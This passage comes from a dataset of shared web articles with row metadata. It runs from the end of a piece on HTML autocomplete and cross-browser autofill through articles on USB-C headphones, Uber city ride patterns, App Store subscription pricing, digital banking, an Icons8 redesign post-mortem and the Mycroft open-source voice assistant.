input must be used with it. That's autocomplete at its simplest, but it gets more powerful and a bit more complex. Shipping and billing The value of the autocomplete attribute is actually a space-separated list of tokens. So for example, if you wanted to collect shipping information, you would prepend the autocomplete value with the ""shipping"" token like so: The billing token works exactly the same way as shipping . Telephones, email and instant messaging Another token option applies to telephone, emails and instant messaging. For those services, there is an optional token to indicate if the autofill field name is referring to home , work , mobile , fax or pager . For example: Broad versus narrow autofill field names The specification provides for both broad and narrow autofill field names for many of the types of information. For example, in addition to the tel field which would be a single input containing a full telephone number, there are also: The specification authors encourage you to use the broad autofill field names as often as possible: Generally, authors are encouraged to use the broader fields rather than the narrower fields, as the narrower fields tend to expose Western biases. For example, while it is common in some Western cultures to have a given name and a family name, in that order (and thus often referred to as a first name and a surname), many cultures put the family name first and the given name second, and many others simply have one name (a mononym). Having a single field is therefore more flexible. I agree with this recommendation. And as a practical matter, it means that it is important to pay attention to the table of values and make sure you're using the right one for the field you're working with. Sections The final feature of the new autocomplete attribute tokens is the ability to declare an arbitrary section to group fields. A section is defined using a token that starts with section- . What comes after the dash is up to you. The specification provides this example of sections: All the tokens Put all together, we've now got a much more complex set of tokens for the autocomplete attribute. And the order of the tokens matters. First, you're either using on and off values OR you're using autofill field names. You can't use them at the same time. If you're using the autofill tokens, the order is: And keep in mind that [home|work|mobile|fax|pager] only applies for the telephone, email and chat autofill field names. The longest possible set autofill token might look something like this: Yay for standards! We're done, right? I'm afraid not. My hope is that eventually all of the browsers will support the expanded autocomplete standard, but that's not the current situation. I tested browsers on mobile and desktop to see what attributes the autofill appeared to honor. This is what I found: Thus far, only Chrome and Opera clearly support the new autocomplete features. Safari appears to have partial support, but because they don't have documentation, I can't tell if this is intentional or simply a regular expression match that happens to be looking at the autocomplete attribute as well as name and other attributes. Safari's strange behavior Since the release of iOS 8's credit card scanning feature, web developers have been reading tea leaves trying to divine what combination of markup Safari is looking for. Some suggest that you have to have specific values in the name field . Others found values in ids work . Even labels seem to matter : The Cardholder's name is quite a bit more tricky. We messed around with various IDs for a long time and almost gave up. We couldn't figure out an ID that would cause Card Scan to populate it. After much frustration we finally discovered that the TEXT of the label associated with the field matters. Setting the label text to ""Name on card"" was the magic trick. I've done quite a bit of testing, and I'm still not confident that I understand fully what Safari is doing. However, I've seen enough to be able to draw some basic conclusions: Contact and address fields support autocomplete Safari recognizes the form I created that only includes autocomplete attributes . The moment I start typing in the first field, it offers to fill in the form with my contact information. This all works as expected with a couple of caveats. First, it is unclear what Safari is using to make decisions about what information to autofill from my contact in the Mac's address book. My job title is filled in, but the company I work for isn't. Second, it doesn't give users the option to select which information they want to use. My contact contains both my home address and my work address. Safari only wants to autofill my home address. I'm out of luck if I want to ship something to the office. Payment fields are completely wonky When it comes to the payment fields, Safari's behavior changes completely. The autocomplete attribute is ignored. Instead, there is some sort of magical heuristic that Safari is using. And because I'm not an Apple magician, it has been difficult to discern what Safari is actually doing: In the video above, I edit the labels of two fields. Both have autocomplete set as well as name and id which should help Safari identify the field. And yet, Safari doesn't recognize the fields until the labels are changed to Name on Card and Credit Card Number . As mentioned earlier, Safari needs to see more than one field to trigger autofill. Then I try changing the label to CCNumber which continues to work. However, changing it to CC Number breaks the autofill. Basically, Safari has an unpublished list of terms that it is searching for. Fortunately, Jacques Caron was able to extract a list of strings from the iOS Simulator that Safari appears to be looking for: In my experiments, both: and: will trigger Safari's autofill and the scan credit card feature on iOS. However, putting the same values into the autocomplete attribute will not work. Building a cross browser autofill form Given what we've learned, is it truly possible to build a form that supports autofill across browsers? I think it is. Or at least, we can get very close by taking these four steps. 1. Add autocomplete attributes This is the future of autofill. Browsers that don't recognize the values will ignore them. This is progressive enhancement at its best. 2. Use common values for input name attributes To take advantage of autofill for Firefox and Edge users, you have to hope that the values you pick for the name attribute match what developers on other sites have used. One way to do this would be to survey popular sites and see what they use and then use the same values. Or perhaps use the same values as the autocomplete field in hopes that as more web developers become familiar with the standard that they will start using those names for their fields. Unfortunately, there is no way to guarantee that your Firefox and Edge users will have previously visited a form that uses the same name values as your form does. 3. Add name and/or label values that match the list Safari is looking for Using the list that Jacques Caron was able to extract, you can modify the values for the name attribute or the label to match what Safari expects. 4. Make autofill part of your test plans Lately, I've been asking audiences to raise their hands if autofill is part of their test plans. No one does. I've been working on the web since 1996, and I have yet to see autofill as part of the test plan. I suspect that autofill is a blindspot for web developers and designers. Therefore, it is critical we test our products to ensure that they work well with autofill. The final form Here is a sample form that supports autofill on Chrome, Safari, Opera, Firefox and Edge: See the Pen Cross Browser Autofill Form - Selected Fields by Jason Grigsby ( @grigs ) on CodePen . To see it in action, you'll need to view it on CodePen under https or the browser won't fill in the credit card information. I've also built a form with all 53 fields in the autocomplete specification . No browser currently supports all 53 fields. The future of autofill and forms There is a lot of movement from browser makers towards tackling the problem of web payments. The Payment Request API is being co-authored by Mozilla, Microsoft, Google and Facebook. Apple is participating in the Web Payments Working Group which is where the Payment Request API is being hashed out. So it appears that Apple is at least nominally onboard with the Payment Request API. Plus, rumor has it that Apple Pay will be available on mobile web for the holiday shopping season which makes it feel like this new momentum around web payments might be real this time. This renewed focus on streamling the web checkout process has me optimistic that support for autofill detail tokens will grow in the near term. And these tokens make creating forms that work with autofill so much simpler. And most importantly, supporting autofill will make filling out forms less tedious for our users and lead to increased sales for e-commerce sites.",en
1465558581,CONTENT SHARED,-6514535768080218883,-2979881261169775358,6661249173876371595,,,,HTML,https://www.engadget.com/2016/06/09/usb-c-and-lightning-headphones-arent-great-news-for-everyone/,USB-C and Lightning headphones,"There are literally billions of headphones out in the world with a 3.5mm jack, all of which will need an adapter to work with Motorola's new phone. And the quality of that adapter is going to be all-important. Phones are digital devices, and headphones require analog input. To solve that, every phone has a digital-to-analog converter (DAC) and an amplifier inside, which do exactly what the names suggest. The DAC converts the signal from ones and zeros to waves, and the amplifier makes those waves audible through a speaker or headphones. The combination of these two parts (DSPs are also involved, but let's not overcomplicate things) is what makes phones -- or anything with a headphone port -- sound different from one another. If you listen to the same track, with the same headphones, on an iPhone 6S and a Galaxy S7, they won't sound identical, mainly because the two phones use different DACs and amps, which output slightly different analog signals through the devices' 3.5mm ports. The DAC and amp, then, are the hidden link between your music app of choice and your headphones, and their importance can't be understated. The industry has gotten a lot better with DACs and amps in recent years, and the general standard of audio output from phones has risen, but there are still devices that are ""stronger"" and those that are ""weaker."" With the switch to USB-C (or Lightning) for headphones, your phone's DAC and amp (it'll still need one for the speaker) are being bypassed. That means this all-important component will now reside inside either the adapter (for your existing cans) or the headphones (for USB-C or Lightning headsets) themselves. In reality, those you'd imagine to be up in arms about the change -- i.e., audiophiles -- probably have the least to be worried about. Premium manufacturers will be able to pick and configure the DACs in their headphones to match the analog circuitry inside. We're already starting to see companies like Audeze provide headphones with apps that allow the listener to fine-tune the output of their built-in DACs, DSPs and amps. This can result in clearer sound at louder volumes than, say, an iPhone can provide. You'll also have the peace of mind that, whatever you plug your expensive headphones into, they will sound exactly as the manufacturer intended. The high-end Audeze EL-8 can plug into an iPhone's Lightning port. For existing premium headphones, there's already a strong market for DACS to complement high-end phones, and with the abrupt switch to USB-C and Lightning that market is only going to grow. Audiophiles are also unlikely to be fazed by the thought of carrying around a dongle or breakout box in the name of higher-quality sound. Indeed, many already do. Who should be worried about the change? Well, anyone who doesn't own expensive headphones, and has no intention to start doing so. If you're the type of person who spends $30 to $100 on cans, then you probably have cause for concern. You're either going to need to grapple with what is likely to be a budget adapter for your existing headphones, or choose a cheap USB-C or Lightning model. And here's the problem: The DAC and amp inside that $50 pair of digital headphones are not going to be of the same quality as those in a $500 pair. Nor will the sound they output be afforded the same time and effort. Instead of trusting in your phone-of-choice's DAC and amp to output decent quality audio at decent volumes, you'll now be contending with the choices of a company that has had to cut corners to put out headphones on a tight budget. The argument that those spending ""so little"" on headphones don't care enough about sound quality to notice is plain stupid. This isn't 2007, and millions of people now leave those white earbuds in the box where they belong. You can also buy some very good headphones for less than $100, and although there are huge gains made above that price point, it's very much a case of diminishing returns as you approach the high end of the headphone market. In order to get the same quality offered by analog pairs, the price has to go up. Of course, I don't want to be a scaremonger. Bluetooth headphones already have the necessary components inside to convert digital to analog, so this won't be entirely new territory for many companies. But to get good Bluetooth headphones, you need to spend more than to get good analog headphones. The same will be true for USB-C and Lightning: In order to get the same quality offered by analog pairs, the price has to go up. Sure, there will probably be, for example, JBL USB-C headphones at $50, $75, $100 etc., but they will each sound worse than their analog counterparts at the same price. To my mind, anyone investing that kind of money deserves, at the very least, to get the same kind of sound quality per dollar as they do now from their analog cans. And it's difficult to see a world where JBL, or any company, will accept lower profit margins on digital headphones than analog. The price has to go up, or the quality has to go down. Putting these components inside the headphones (or in some cases, the cable), also has an unwelcome side effect: reduced battery life. Apple, Samsung, Motorola et al. spend a long time fine tuning the components in their products to maximise endurance. That means limiting the output of the amplifier in order to ensure it doesn't use too much power. If you put control of these variables in the hands of headphone manufacturers, they will undoubtedly choose components that make their hardware sound best, rather than those that play nice with your phone's battery. While powering in-ear headphones is unlikely to have too much impact on your battery, a pair of cans with large drivers will. We've already seen this in action from some early Lightning headphones, with models like the Audeze EL-8 trimming fair chunk from the iPhone's already questionable battery life. The final issue with phones ditching the 3.5mm port -- and this might be the worst -- is that the industry is far from done with developing its replacement. Intel, for example, is currently working on USB-C audio in a big way. In additional to trying to standardize USB-C digital audio output, it's also working on a system that will allow analog audio to be output through ""sideband use"" (SBU) pins. These pins are currently not being used in the USB-C spec, but would allow for headphones that used the phone's DAC and amp. That work is not yet done, and for Apple to benefit from it would involve ditching the Lightning port, which is based on USB 2.0. The industry is far from done with developing the 3.5mm port's replacement. Given that Apple has switched to USB-C for other products, and that it has no problem with killing ports in the name of progress , that's not as impossible as it sounds -- adopting USB Type-C for headphones could even lead to a MacBook with two ports! But let's not dream of such crazy things -- back to the Moto Z, and we don't actually know how Motorola's system works. There's an adapter in the box to facilitate plugging in 3.5mm headphones, but it's not clear if it uses Intel's in-development analog tricks, or has an amp and DAC built in. Chances are it's the latter, which is what Chinese company LeEco's new USB-C smartphones do , and what all Lightning headphones on the market today do. Get all the news from today's Lenovo and Motorola event right here ! This uncertainty is indicative of a real problem: By making the jump so early -- before the industry has truly settled on a standard -- Motorola, Apple and any other company else that follows suit might have a difficult decision to make in a couple of years: Do they upset their customers with another change to audio output? Or ignore progress in the area, and persist with a solution that leaves analog output in the past, even when it's possible through a single port?",en
1465560589,CONTENT SHARED,-5976464170927897250,-8020832670974472349,-6121624872835463728,,,,HTML,https://eng.uber.com/pulse-of-a-city/,The Pulse of a City - Uber Engineering Blog,"by Nicolas Garcia Belmonte Uber Engineering's platform was designed to connect riders and drivers-to help move people (and things) around their cities. Let's see how one of our largest cities and oldest markets, New York City, moves through the lens of time: Every row represents an hour, and every column represents a day of the week. The color brightness reflects the frequency (number) of rides for that hour, for that day. Each day is compared to itself. In total, we see how trip activity in New York City is distributed hourly across each day of the average week. Some interesting insights from this data: On weekdays from 7-9 am, trips spike on Monday through Friday. This likely represents people's morning commute to work. As evening approaches, the city comes alive. From 5-10 pm, we see another set of concentrated trips. People leave work and head home or go out for dinner and drinks. On weekends, the pattern is completely different. Starting Friday night, people go out later; this is reflected in the brightness from 12-2 am on Saturday. Several hours later on Saturday morning, from 7-10 am, the number of Uber trips is considerably smaller as people sleep in. The same pattern picks up on Saturday night from 12-2 am, and then falls to a lull on Sunday morning as well (4-9 am), which extends a few hours beyond the 1-5 am trip dead zone on weekdays. How revelatory is this? At least in major metropolises, don't we all live under similar daily rhythms of work and play? Well, from our data, the short answer is no! Although you might think that every city is the same, every city has its own culture and signature. They all move differently. Let's look at London as a comparison. A quick glance at where brightness occurs shows just how different these cities are from each other: Compared to New York City: London lives a lot later: while New York is an evening city, London lights up at night, from 6 pm until midnight on weekdays, and until 4 am on weekends. In London, Uber is not as popular for morning commutes: a lower proportion of London's rides occur in morning commute windows compared to New York City. Those are two examples, but to give you an idea of each city's unique Uber rhythm, here's New York City, San Francisco, Chicago, Miami, Los Angeles, and London: Remember that all brightness levels are relative to each city. So Los Angeles' peak brightness means more trips took place during that hour window than at any other time during that day. Some quick takes: London and Miami are both nocturnal cities. San Francisco and Chicago are broadly similar, but Chicago tends to concentrate rides in a narrow window of commuting from 8-9 am and again from 6-8 pm from Monday through Thursday (you can see this from the bright stripes). Across the board, weekend trips are more concentrated on Friday and Saturday nights than during the day. In Los Angeles, Saturday night (Sunday from 12-2 am) is much bigger than Friday night. Can you detect any other patterns and contrasts between these cities? If you find this analysis interesting, we'll show some other perspectives of how cities move using Uber's platform in the coming months, as well as the tools and techniques behind making both static and interactive data visualizations. (By the way, if you want to be part of our story, we are hiring for data visualization and data science roles !)",en
1465564496,CONTENT SHARED,-7399665664688732365,-7496361692498935601,-682535192465694512,,,,HTML,http://www.imdb.com/title/tt1821681/,Touch (TV Series 2012-2013),"Nominated for 2 Primetime Emmys. Another 2 wins & 10 nominations. See more awards "" Storyline Widower Martin Bohm's wife, Sarah Bohm, died in the twin towers on September 11, 2001. Previously a newspaper journalist, Martin since has worked a series of odd jobs in trying to make sense of his life, which includes caring for his son Jake, who was born on October 26, 2000. Jake was diagnosed as autistic, primarily because he has never uttered a word, and has an aversion to being touched. But Martin begins to believe that there is more to Jake's life than meets the eye. Jake, using a series of numbers, leads Martin to discoveries about a certain equilibrium to the world. Martin may ultimately find out what Jake's grand purpose is, and why Jake was placed on the face of the Earth. Written by Huggo Taglines: The world is connected. But only his son sees how. Details Release Date: 25 January 2012 (USA) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia Tim Kring described the show as being ""ultimately about how our lives all touch one another."" See more "" Frequently Asked Questions User Reviews Message Boards Recent Posts",en
1465568090,CONTENT SHARED,-2855910583928922225,-709287718034731589,3285541426833936337,,,,HTML,http://daringfireball.net/2016/06/the_new_app_store,"The New App Store: Subscription Pricing, Faster Approvals, and Search Ads","""We're doing something a little different this year. We've got a bunch of App Store/developer-related announcements for WWDC next week, but frankly, we've got a busy enough keynote that we decided we're not going to cover those in the keynote. And rather, just cover them in the afternoon and throughout the week. We're talking to people today for news tomorrow about those things, in advance of WWDC, and then developers can come and be ready for sessions about these things, with knowledge about them before the conference. We haven't done this before, but we figured, what the heck, let's give it a try."" So started my phone call with Phil Schiller yesterday. Doing something a little different, indeed. These changes and improvements to the App Store - or App Store s , if you prefer, because they all apply to iOS (and thus WatchOS), Mac OS X, and tvOS - are no little things. These changes fundamentally change the App Store, for users and especially for developers. A quick summary: App Store review times are now much shorter. These changes are already in place, and have been widely noted in recent weeks. Apple is today confirming they're not a fluke - they're the result of systemic changes to how App Store review works. Subscription-based pricing was heretofore limited to specific app categories. Now, subscription-based pricing will be an option for any sort of app, including productivity apps and games. This is an entirely new business model for app developers - one that I think will make indie app development far more sustainable. Changes to app discovery, including a smarter ""Featured"" tab, the return of the ""Categories"" tab, and, yes, as rumored , paid search ads. Subscription-Based Pricing for All Until now, subscription pricing was reserved for apps that served media content: streaming audio and video, news, etc. Apple is now opening it to apps from any category, which effectively solves the problems of recurring revenue and free trials. Even better, Apple is changing the revenue split for all subscriptions: for the first year of any subscription, the revenue split remains 70/30; after the first year, the revenue split changes to 85/15. In Schiller's words, this is ""in recognition that the developer is doing most of the work"" with any app that is so good that the user remains a paid subscriber for over a year. This change is effective starting this Monday - any app that already has subscribers will start splitting revenue with Apple 85/15 on subscriptions that are at least a year old. This dramatically changes the economics of the App Store. Until now, productivity apps could charge up front as paid downloads and that was it. Updates had to be free, or, to charge for major new versions, developers would have to play confusing games by making the new version an entirely new SKU in the app store. Twitter clients like Tweetbot and Twitterrific, for example, did this, to justify years of ongoing development. Now, apps like this can instead charge an annual/monthly/etc. subscription fee. This could be the change that makes the market for professional-caliber iPad apps possible. On the Mac, there has long been a tradition of paying a large amount of money for a pro app, then paying a smaller amount of money for major updates. The App Store has never allowed for that sort of upgrade pricing - but upgrade pricing is what enabled ongoing continuous development of pro software. Paying for each major new version, however, is arguably a relic of the age when software came in physical boxes. Subscription-based pricing - ""software as a service (SaaS)"" - is the modern equivalent. That's the route both Microsoft and Adobe have taken. In the old world of boxed software and installation disks, the natural interval was the version. In today's world where everything is a download, months or years are more natural payment intervals. Now, it's available to all app categories in the App Store. I think this is terrific news both for developers and users. Other changes: There are now more than 200 price points available to subscription-based apps. Apps can now change subscription prices easily. This was a huge pain in the ass previously. When an app changes subscription pricing, existing subscribers will be notified automatically and given the option to agree to the new pricing or unsubscribe. Subscription-based apps can now offer multiple tiers. Think bronze/silver/gold. Again, previously, Apple's app subscription APIs made this difficult if not impossible. Now, it should be easy. And it should be easy for users to change tiers on the fly. Territory-based pricing is now possible. Developers can use this to charge lower prices in countries like China and India. This was not possible before. Most subscription-based apps use either monthly or annual renewal intervals. But apps have the option of renewing every two months, three months, or six months as well. Developers have been asking for a way to do free trials and to sustain long-term ongoing development ever since the App Store opened in 2008. This is Apple's answer. I think all serious productivity apps in the App Store should and will switch to subscription pricing. You might argue that people don't want to subscribe to a slew of different apps. But the truth is most people don't want to pay for apps, period. Nothing will change that. But for those people willing to pay for high quality apps, subscriptions make sustainable-for-developer pricing more palatable, and more predictable. App Store Review Times This is mostly a benefit to developers, who get a quicker turnaround time. Users don't really see the review process - it's hidden from them. Users just see when updated apps are available to them in the App Store. But there is a benefit to users of faster turnaround times - when developers fix bugs, users will get those bug fixes much sooner. According to Schiller, 50 percent of submitted apps are now approved within 24 hours; 90 percent in 48 hours. For years, turnaround time was measured in days, not hours, and was generally in the range of a week. Schiller told me this change can be attributed to three things: Tool improvements internal to Apple. Staffing changes. Policy changes. I asked for details regarding those ""policy changes"", and Schiller demurred. One thing he emphasized, however, is that the rules for apps haven't changed at all. If anything, Schiller claimed, with the new tooling at the disposal of reviewers, reviews are even better at identifying apps with quality problems than before. The impression I'm left with is that reviewers are now given more discretion to fast track apps from long-time trusted developers, once their binaries have passed Apple's automated tests. One can argue that this is long overdue, but better late than never. Ads in Search Results I was against this when it first leaked, and I remain skeptical. But now that I've seen the details , I'm OK with it. Here's what Schiller told me: One and only one ad will be shown at a time. Ads are clearly marked . They're always at the top, have a light blue background, and a blue ""Ad"" tag. Ads will be relevant to the search terms from the user. We shall see if Apple succeeds here, but the intention is good. Ads are only shown in search results. There is no pay-for-placement in the Featured section. Ads are paid for in a second-price auction system. This means the winning bid only pays ""just enough"" more than the second-place bid for a keyword. No ads will be shown to children 13 or younger. Ads are pay-for-click. (Or pay-for- tap , on iOS.) Developers only pay when actual users actually tap their paid placement. Apple has been leaving a lot of money on the table for Google and Facebook, both of which have been raking in money hand over fist from developers paying for ads that lead to app downloads. Schiller only mentioned ""search engines"" and ""social networks"", but the truth is they should have been singulars, not plurals. It's Google and Facebook. Apple's system does not use tracking. No profiles are kept of users, and no user-identifying information is sent to advertisers. And users can opt out of things like location-based ads with the system level preferences for location privacy. Downloads are already being driven by paid ads, so they might as well be in the App Store itself, where Apple can take some of the money and deliver ads that live up to its standards for privacy. It's also important to note that the ads are the same as the regular App Store listings. What you'll see is the same exact content, vetted through the same approval process, as the regular app store listing. Developers are not paying to get a discrete ""ad"" displayed, per se, but paying to get their regular App Store listing displayed as an ad. My concern when word first leaked about this is that the system would be geared toward large developers. Schiller emphasized to me that Apple designed this system with small indie developers in mind. 65 percent of app downloads start with searches in the App Store, according to Schiller - effectively two out of every three downloads. App Store search is absolutely essential to discovery. These ads should help small developers gain exposure - and they should be more efficient than ad spends at Google or Facebook, because they only appear in the context of a user who is already searching for an app. The Big Picture Collectively, these changes should put to rest any notion that the App Store is neglected or in any way an afterthought for Apple. I'm certainly glad about the vastly improved turnaround time for App Store submission reviews, and I have a certain ""wait and see"" ambivalence regarding the App Store search ads. But I am genuinely excited about subscription pricing being an option for all apps. I think it's truly win-win-win, for Apple, its users, and most importantly for developers. For Apple, Ben Thompson nailed it back in 2013 : What makes monetizing productivity apps so tricky is that they are indispensable to some consumers, yet overwhelming to others. It's that indispensable part, though, that should matter to platform owners. If a user comes to depend on certain productivity apps that are only available on one platform - and, in general, mobile productivity apps are much more likely to be monogamous - then that user is effectively bound to the platform, and won't even consider another platform when it comes time to upgrade. The opportunity for growth in smartphones is increasingly previous-smartphone owners (as opposed to new smartphone owners). Keeping those owners around should be a top priority for every platform, and one of the best ways to do so is fully supporting a subscription model for productivity apps. It will make them more successful and thus stickier, ultimately to the platform's long-term benefit. For users, the benefit is that they should see more high quality productivity apps. And they'll only have to pay for them as long as they're actually using them. For developers, I think this is the first time the App Store supports a business model that sustains long-term ongoing development of deep applications. The proof of the pudding is in the eating, and so we'll have to wait and see if this actually changes the economic dynamics of developing for the App Store. But Phil Schiller's enthusiasm for small indie developers is undeniable. It's palpable. The new 85/15 revenue split after the first year of a subscription is proof of it. He's trying, and now that the entire App Store is under his leadership , that means Apple is trying. I would argue that the App Store has changed more in the last six months than it did in the previous eight years. Throw in a ""finally"" if you want, but again, I say better late than never.",en
1465568159,CONTENT SHARED,-7580433478964181862,5660542693104786364,-4505964610782032522,,,,HTML,http://thefinanser.com/2016/06/digital-is-all-about-the-people.html/,Digital is all about the people - Chris Skinner's blog,"I got caught up in a conversation about building a new digital bank the other day, and being asked how I would organise the project. I'm a simple guy and go back to basics, and the basics are people, process and product. People - customers and employees - are where it all starts. Happy staff make happy customers, so work out where the people are needed first. This may sound strange when we're talking about automation and digitalisation but the people come first. It is the humanity of the digital touch that will be key, not the digitalisation itself. Humanity is what differentiates the good from the bad, and the initial focus really should be to identify the customer touch. Where, when, how and why will the customer need to be in communication with the institution and what will they be wanting to talk with the institution about? Is their contact something that can be automated or would it be augmented by a human touch? If there is human contact, is the form of contact something that can be personable or is It better to leave it to the machine? There are lots of questions to ask about how you would build the bank, but start with building the new digital bank without frontiers. There are no barriers, so build the bank with passion and vision based upon the human outreach through digital foundations. That's where I would start as, once you have that journey outlined, you can start to fill in the blanks. The blanks define the processes required to connect the human contact to the digital foundation. It will determine how many humans and buildings are needed in the digital structures, if any, and will provide the road map for building the new bank. There should also be a discussion of what the new bank is providing to the customer. Is it a deposit account, provided for free through cross-subsidisation via sales of affiliated products, as per the current model, or is this a new financial organisation? A new financial firm would look at all the new guys out there like Zopa, Funding Circle, TransferWise, Number26, Atom, Moven and co, and create its digital products based upon digital foundations that compete with digital start-ups with a human touch. That was my thinking anyways and, although this is a very short update, the basics of any company always comes back to people, process and product. People - customers and employees; process - organisational structure and the infrastructure that supports the organisation; and product - services and platforms; are the core of every organisation. People - front office; process - middle office; and product - back office; are the key foundations of a physical or digital institution. Get people, product and process right, and then rock and roll.",en
1465570773,CONTENT SHARED,5082053563644129584,-1443636648652872475,-3976301106281818872,,,,HTML,https://icons8.com/articles/how-we-lost-47-of-our-users-after-a-redesign/,How We Lost 47% of Our Users After a Redesign | Icons8,"The Internet is full of success stories. To balance things out I'll share the story of one of our colossal fails. Here's how we redesigned one of our services and lost 47% of its users in the process. How Things Were Before We draw icons. At the very start of Icons8 it became obvious that we weren't able to hack google AI to invent hundreds of icons every month, so we needed some help. Who better to turn to than the people that actually needed these icons- our customers! That's how the ""Request Icons"" feature was born 3 years ago. For the last 3 years it looked like this: The idea is simple: people request the icons they need and other people vote for them. We draw the most popular requests. Every day. And it's working. This demands some explanation. Strange bumps We went back and forth with adding/removing an Ideas&Votes link from our main menu. It never got great results except for short-term popularity bumps. Basically it meant that old clients who knew about this feature before were reminded about it and gave it a second go. However, new people who never expected requested free icons ignored the menu. Note. We tried to rename - Ideas&Votes to ""Request icons"" with the same result. Second bump. Based on our usability research, people tended to ignore the feature based on a set of incorrect expectations. (""It is expensive"", ""It'll take a long time"" , or ""It's some kind of scam"") Steady growth Well, that's easy. Icons8 overall traffic showed steady growth during the same period of time which led to some proportional growth of the feature's popularity. The red dashed line is the actual traffic. We had some analytics tracking problems so half the traffic just vanished from the chart. Rapid growth Apparently it took us a few years to realize that the best time to fulfill a need is right as it arises. Just like people forgetting to buy milk while shopping, they forgot about the menu link when they needed an icon. The decision was obvious. This one: To be honest, the graphic below is pretty much useless. I just think it's pretty, so it's staying in. The missing an icon? hint was launched on January 18, 2016; and provided us with 75 people on a daily basis using the ""request icon"" feature. Everything was great. Until we decided to make things even better. Redesign After the redesign the feature looks like this: The intended goals of the redesign were: Added 2 new features - fast track orders and custom orders Replaced an old design, making it simpler and more modern Saved our designers time they wasted on administrative tasks What did we actually achieve ? 50% fewer people requested icons 50% fewer people voted for requests I was forced to conduct usability studies Important: our overall traffic didn't change. The same amount of people came to this feature's page. We definitely improved the overall ""look"" of the feature but lost a few good bits on the way. 50% fewer people requested icons People requesting icons need to know 2 things: The thing is, the old design answered the first question and the new design answered the second one. Seems like if you don't want a ~50% drop, answering the first one should be the top priority. To answer Does this ""request"" thing really work? we use Votes and Comments . Votes Voting means that it has a life of its own. People vote, there is a queue, and it's moving. So the feature IS working. That's the critical difference between the two designs. In the old design I immediately understood that the number meant votes. Number of votes Text hint ""votes"" below the number Both number and text are enclosed in a square, forming a symbolic representation of an empty icon. I have the feeling that someday there will be an icon instead of digits and ""votes."" It's a very smooth, tiny detail, but has such an impact on the overall impression. What is this digit supposed to mean? Position? ID? Days left? Without knowing what the digits mean we can't be sure if the request service is working. Comments Another sign of life is the comments. We've used them to comment about the status of an icon, but people were actually commenting on requests, flattering and bribing each other. The place used to be full of energy and life... until all of a sudden everything was gone. The new design had no comments- our users were speechless, just like me. 50% fewer people voted for requests There is only one big question here, What am I voting for? In the old design, the average number of votes an icon needed to get in order to be drawn by us was ~30. With the new design that number was ~15-16. Actually, last time I checked, it was 9. But 70% would be way too dramatic a number for the headline of this article. Nine votes may seem good for companies with 9 employees, but it could lead to a large number of custom icons being drawn for small, niche projects, not community approved ones. Suddenly all 9-person companies hate me now. The decrease in average votes is, partially, due to the ""voting"" problem mentioned above. People won't vote if they can't understand the system. Another reason is descriptions. Descriptions Within the old interface you were able to see the description of every request on the page you landed on by scrolling down, choosing what you liked, then voting for it. The new interface forced users to click every request in order to see its description. Every time. The initial motivation to scroll down through many requests, having some fun along the way reading other people's descriptions and requests, and voting for the one's we liked, was killed. Thus our voting numbers decreased by ~50%. Solution Quite easy. We need to bring back the ""queue"" effect. To be honest, the new design has a Recently Created Icons section, an indication that the feature is live. However, you need to scroll down in order to find it. People have no motivation to scroll. If they don't understand what's happening on top they have no idea what to look for below. For starters, here's a short to-do list: Properly indicate votes Unhide the descriptions of requests Making it all visible as soon as people landed on the main page. By trying to make the service simple and minimalistic we complicated user's experiences. Getting rid of a few tiny details dissolved the whole sense of a queue and availability was lost, leading to a bunch of unanswered questions and reduced usage. But it's not the end! We gained a great experience and are determined to make things better now, and more important, we know how. You may also be interested in: How redesign of boarding pass may save 2 human lifetimes Icons8 Magazine Newsletter Monthly. No ads. Great! This is your personal kiwi bird. While waiting for our new articles, you can imagine how she'll be delivering them. Error! Please try again later.",en
1465581474,CONTENT SHARED,9215261273565326920,-1443636648652872475,-3976301106281818872,,,,HTML,http://www.zdnet.com/article/meet-mycroft-the-open-source-ai-who-wants-to-rival-siri-cortana-and-alexa/,"Meet Mycroft, the open source AI who wants to rival Siri, Cortana, and Alexa | ZDNet","Image: Mycroft It might bear a passing resemblance to ET, but Mycroft's smart home system is more than a pretty face: it's an attempt to define what it means to be human through technology. The first seeds of the open source home hardware AI platform that was to become Mycroft came to Joshua Montgomery during a refit of a Kansas maker-and-enterpreneurship space he was setting up. Montgomery wanted the building to have the same abilities as the systems seen on classic sci-fi films and series. ""It was inspired by the Star Trek computers, by Jarvis in Iron Man ,"" Montgomery told ZDNet. He wanted to create the type of artificial intelligence platform that ""if you spoke to it when you walked in the room, it could control the music, control the lights, the doors"" and more. After investigating the state of open-source voice control systems on which he could build the platform, Montgomery found there was work to be done. ""It turned out there was a complete void. Open source software doesn't have an equivalent to Siri, Alexa, or Cortana,"" Montgomery said. Last year, after building the AI system and setting up a company to commercialise it, the decision was taken to seek crowdfunding. But, as ""software projects seldom get funded on Kickstarter,"" said Montgomery, the company decided to build a reference device to go with its software platform: a hub device based on Raspberry Pi 3 and Arduino . If the industrial design looks a bit familiar, there's a reason for that: the device was inspired by friendly robots and other science-fiction staples. ""We wanted it to give realistic cues when you're relating to it... We wanted it to be friendly, to be different to the very vanilla, very plain systems"" already out there, Montgomery, who is Mycroft's CEO, said. As well as being rather sweet, the reference device was intended to attract developers by giving them a stable hardware platform to work on. ""We made the reference device so developers would known they had a good speaker and a good microphone. It helps [developers] to have apples-to-apples comparisons, so they can focus on solving software problems, not on finding what microphone works,"" Montgomery said. The company's Kickstarter went off: it raised over $127,000, and a subsequent Indiegogo campaign generated another $160,000. The reference devices began shipping to the first buyers at the start of April, and all backers should get their devices by July. The system is powered by Snappy Core Ubuntu, and is now composed of four software parts: the Adapt Intent Parser, which converts the natural language commands of users into data the system can act on; the Mimic Text to Speech engine; Open Speech to Text; and the Mycroft Core to integrate the parts. The system's cheeky face can speak to you to deliver updates on the weather and news, and can take voice commands to control other internet enabled devices around the home or office -- switch on the coffee machine, for example, or stream a particular music playlist. The Mycroft platform started off life intended to help people voice-control their thermostat, manage their calendar, and lock the door. But, due to its open source nature, developers have taken the system and run with it, adding all sorts of skills to the system. One developer, who was going to visit his Pokemon fanatic young cousin, was able to plug a Pokemon wiki into the system. ""It became an expert on all things Pikachu,"" Montgomery said. Mycroft will also tell a raft of Chuck Norris jokes too, thanks to the work of one developer and fan of the martial arts star. So far, so cute. But Mycroft has a bigger aim in mind: to make a strong AI system capable of replicating human skills. The company wants to create an AI that makes it ""difficult, if not impossible, to tell if you're speaking to a computer or not... we're making an AI that's as real as person"". In order to do that, Mycroft is breaking down what it means to be human into various skills sets, and then training the AI platform to learn them, much in the same way a baby learns to understand language, and is then able to speak a few words, put sentences together, and comprehend object permanence as it grows up. ""The idea is that we break up what a person is into discrete 